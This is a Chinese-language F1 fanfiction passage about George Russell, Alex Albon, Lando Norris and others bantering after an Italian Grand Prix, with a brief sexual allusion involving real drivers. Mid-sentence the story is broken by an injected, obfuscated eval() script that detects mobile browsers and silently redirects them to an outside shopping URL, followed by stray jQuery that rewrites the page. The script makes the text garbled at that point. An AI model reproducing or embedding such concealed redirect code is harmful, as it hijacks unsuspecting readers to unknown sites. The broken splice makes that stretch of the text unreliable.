德国国歌和法国国歌先后飘扬在意大利大奖赛的现场。
保时捷第一次赢下冠军,夏普却把第一次上领奖台的机会让给了伦纳德。
F1的领奖台上站着三名法国人,两名法国车手,一名法国工程师。
法国车迷哭天喊地,说什么都要把这一幕刻到自己的墓碑上。
香槟的白色泡沫盖了拉斐尔满头满脸。
他转身就把香槟对准伦纳德,要报复工程师的偷袭,却又被后面的加斯利夹击,腹背受敌。
拉塞尔一直站在原地看着颁奖的画面。
他有点不情愿去接受赛后采访,被不同媒体反复提问大差不差的问题。
夏普尽到自己作为领队的职责,走过来拍了拍他的肩:“围场里一直都是这样,大家只会去赞扬赌成功了的车手,谩骂甚至无视那些失败的。”
“但没有车手会永远成功。”
拉塞尔已经在赛车这行摸爬滚打十几年,怎么会不知道这么简单的道理。
今天最后几圈的情况跟奥地利大奖赛那时何其相似。
为了搏冠军,上次他超车汉密尔顿,成功去到场上第二位,只差一点就能追上博塔斯。
这次他同样尝试了超加斯利,却以失败告终。
夏普看着拉塞尔强装平静的表情,转移话题:“今天就是威廉姆斯家族在围场里最后一场比赛了,你要去和克莱尔打个招呼吗?”
拉塞尔当然要去。
虽然他是梅奔的青训,但在梅奔没有席位的情况下,是威廉姆斯给了他合同。
而在他经历了去年糟糕的开局后,也是威廉姆斯慷慨许可他跟保时捷接触,解约时十分痛快。
“谢谢。”拉塞尔打起精神,向克莱尔做告别。
“谢谢你能信任我,去年是我在F1的第一年,一切都是未知数,但车队很包容我,大家都很努力工作,除了...”
说到最后,拉塞尔用复杂的笑容传达了自己的遗憾。
这位在围场工作了十几年的威廉姆斯女士笑着说道:“除了资金短缺和车的极差表现。”
“嘿,乔治,你的那笔违约金可让车队缓了好大一口气。”
经验丰富的克莱尔一眼就看出了拉塞尔暗藏着的失落,安慰他:“我一直相信你有辆好车就能夺冠,那一天总会来的。”
拉塞尔说:“我也会努力到那一天。”
然后他转头看了一圈威廉姆斯的P房,既熟悉又陌生,他最后问:“你还会回来吗?”
“那很难,宝贝。”克莱尔的笑容变得无奈。
“威廉姆斯在F1拿了16次世界冠军,我们的冠军总数仅次于法拉利。最后一次车队冠军在1997年,一转眼23年过去了。”
“没冠军,投资就越来越少,车的表现就越来越差,最后沦落到连积分都没有,又怎么能去争冠。乔治,你知道的,这是车队的恶性循环。”
克莱尔点到为止,跳过这个沉重的话题:“好了,我已经决定跳出这个循环,离开F1了。至少威廉姆斯车队的其他人还会在这里,他们也欢迎你常来。”
“快去采访吧。”克莱尔开始赶人。
夏普也跟着一起来了,显然两个领队要说些不适合拉塞尔听的话。
拉塞尔打了一番太极应付完媒体后,迎面撞上阿尔本和诺里斯。
P16、P17完赛的两张苦瓜脸把P5的诺里斯夹在中间,显得诺里斯格外神气。
“乔治,怎么今天没粘着你队友一起来采访?”诺里斯总是说了得罪人的话之后才想起来给自己叠甲。
“...呃,我只是有点不习惯,没有别的意思。”
阿尔本一针见血的功力还是那么强:“那你得问他为什么没超车成功,不然他现在应该跟拉斐尔一起参加前三的赛后发布会。”
“但我成功超了你的车。”拉塞尔回击。
阿尔本从来不会嘴软:“从P17上到P16?有什么意义吗?”
一番斗嘴让两个人的郁闷都疏解了不少。
阿尔本叹了一口气:“...you know,max这个赛季已经有一个分站冠军了,但我到现在连一个领奖台都没有。”
阿尔本担心去年他顶替加斯利上到红牛大队的剧情会发生在他身上,区别在于,这次轮到了他要被替换。
拉塞尔也叹气。
斐尔有惊无险地拿下冠军,还表示了他不在意拉塞尔失误造成的影响。
拉塞尔的愧疚感减轻之后,随之而来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156692|194155||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,是错失争冠机会的不甘。
他选择化失落为攻击性,矛头对准在场最惬意的那个人:“卡洛斯是第二,你怎么一点都不焦虑?”
诺里斯笑得眼睛都眯了起来:“我的积分比他高,而且我可不像你们一样天天想着要打败队友。”
“我和卡洛斯关系很好!”他骄傲地说,每一个字都在拉踩。
诺里斯又酸拉塞尔:“但你跟拉斐尔的关系也挺好的啊,网上到处在传你们两个的bromance,比我和卡洛斯的可火爆多了。”
阿尔本咂舌:“Are you kidding me?你是真心在跟卡洛斯搞bromance?我还以为你只是在配合车队的公关要求。”
他觉得围场里队友之间的关系不会太好,但也不会太坏,就像他和维斯塔潘一样。
阿尔本要求拉塞尔给他佐证:“是兰多不正常还是我不正常?”
在我面前,你们都显得过于正常,拉塞尔一时语塞。
他不动声色地反思自己的所作所为,却发现自己没有改正的想法。
斐尔作为队友,对他的态度可谓是包容、平和得过分,今天拿下的冠军又证明了他是一个实力强劲而可敬的对手。
而他在床/上的表现更是让人又爱又恨,爱是爱他的热情,恨是恨他的热情收放自如。
虽然拉塞尔错失了冠军,但他对斐尔的夺冠感到由衷的与有荣焉,没有丝毫嫉妒之情。
拉塞尔不敢拿自己和拉斐尔的队友情来说事,于是顺着阿尔本的意思:“兰多是个车手,是个英国人,还是个疫情之后再也不能去酒吧发泄过剩精力的playboy。”
诺里斯听出了拉塞尔嘲讽他饥不择食到把队友当crush的意思,正准备反唇相讥。
阿尔本已经比他更快一步,补上最后一刀:“还是下个赛季就要成为法拉利车手、搭档夏尔·勒克莱尔的卡洛斯·塞恩斯的现任队友,期限最后3个月。”
诺里斯本来已经忘了这个悲伤的事实,被阿尔本这么一说又重新回忆起来,那头卷毛都随着失落的情绪一起耷拉了下去。
“Alex!SHUT YOUR FXXKING MOUTH!”他有气无力地冲坏笑的阿尔本喊。